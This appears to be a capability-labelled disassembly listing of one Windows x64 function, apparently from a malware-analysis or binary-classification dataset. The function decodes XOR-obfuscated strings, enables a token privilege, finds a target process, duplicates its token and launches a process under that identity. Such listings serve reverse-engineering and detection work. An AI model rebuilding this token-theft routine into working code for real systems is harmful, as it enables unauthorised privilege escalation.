Function at 0x140004b40
Capabilities:
Create process on windows
Create process suspended
Enumerate processes
Impersonate user

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x460
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a30c0]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov r13, rcx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x1400050d3
lea r8, [rbp + 0x60]
mov edx, Ordinal_41
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400050ca
movabs rax, 0x21c73b456622ed0e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x2a77ca77e638e174
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xb4d54381a99f16f5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0x80109479f4279f94
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rdx, 0xc1eea615b49271f1
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rcx, 0x908840a45965b05a
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs r14, 0x21a23b016647ed5d
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x380], rax
movabs r15, 0x2a27ca10e64de116
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x388], rax
movabs r12, 0xb4bc43f7a9f61687
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x390], rax
movabs rbx, 0x8075941ef4429ff8
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x398], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x380]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmm0, xmmword [rbp + 0x40]
vxorps xmm0, xmm0, xmmword [rbp + 0x3a0]
vmovdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x78]
lea rdx, [rbp + 0x20]
xor ecx, ecx
vzeroupper
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rbp + 0x60]
test eax, eax
je 0x1400050c4
mov dword [rbp + 0x80], 1
mov rax, qword [rbp + 0x78]
mov qword [rbp + 0x84], rax
mov dword [rbp + 0x8c], 2
xor edi, edi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9d, [rdi + 0x10]
lea r8, [rbp + 0x80]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400050c0
movabs rax, 0x21ce3b6f662eed2a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x2a49ca7fe62ae179
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0xb4d9438fa99316a9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqu ymmword [rbp + 0x20], ymm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x380]
vzeroupper
call fcn.1400051b0
nop
mov dword [rbp], 0xffffffff
mov dword [rbp + 0x140], 0x238
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r12, rax
lea rdx, [rbp + 0x140]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov r15, qword [rbp + 0x380]
cmp eax, 1
jne 0x140004f6a
lea rdx, [rbp + 0x140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
jne 0x140004f6a
nop
lea rdx, [rbp + 0x16c]
lea rcx, [rbp + 0x90]
call fcn.1400051b0
lea r9, [rbp + 0x380]
cmp qword [rbp + 0x398], 7
cmova r9, r15
lea rcx, [rbp + 0x90]
mov rdi, qword [rbp + 0xa8]
cmp rdi, 7
seta r14b
mov rbx, qword [rbp + 0x90]
cmova rcx, rbx
mov rax, qword [rbp + 0x390]
mov qword [rsp + 0x20], rax
mov rdx, qword [rbp + 0xa0]
call fcn.140005340
cmp rax, 0xffffffffffffffff
jne 0x140004f08
test r14b, r14b
je 0x140004eeb
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004ee3
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004f40
mov rcx, rbx
call fcn.140074acc
lea rdx, [rbp + 0x140]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_Process32NextW]
cmp eax, 1
je 0x140004e50
xor edi, edi
jmp 0x140004f6a
mov eax, dword [rbp + 0x148]
mov dword [rbp], eax
cmp rdi, 7
jbe 0x140004f4f
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004f47
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004f47
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140074acc
xor edi, edi
mov qword [rbp + 0xa0], rdi
mov qword [rbp + 0xa8], 7
mov word [rbp + 0x90], di
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov rax, qword [rbp + 0x398]
cmp rax, 7
jbe 0x140004fcc
lea rdx, [rax*2 + 2]
mov rax, r15
cmp rdx, 0x1000
jb 0x140004fc4
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004fc4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r15
call fcn.140074acc
test rbx, rbx
je 0x1400050c0
lea r8, [rbp + 0x68]
mov edx, 0x2000e
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400050b7
lea rax, [rbp + 0x70]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x1400050ad
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb0], xmm0
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
mov qword [rbp + 0x110], rax
cmp qword [r13 + 0x18], 7
jbe 0x140005061
mov r13, qword [r13]
lea rax, [rbp + 0x120]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xb0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], reloc.WS2_32.dll_recv
xor r9d, r9d
mov r8, r13
lea edx, [r9 + 2]
mov rcx, qword [rbp + 0x70]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
mov rcx, qword [rbp + 0x70]
test eax, eax
jne 0x1400050d7
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x140005105
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140074a70
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret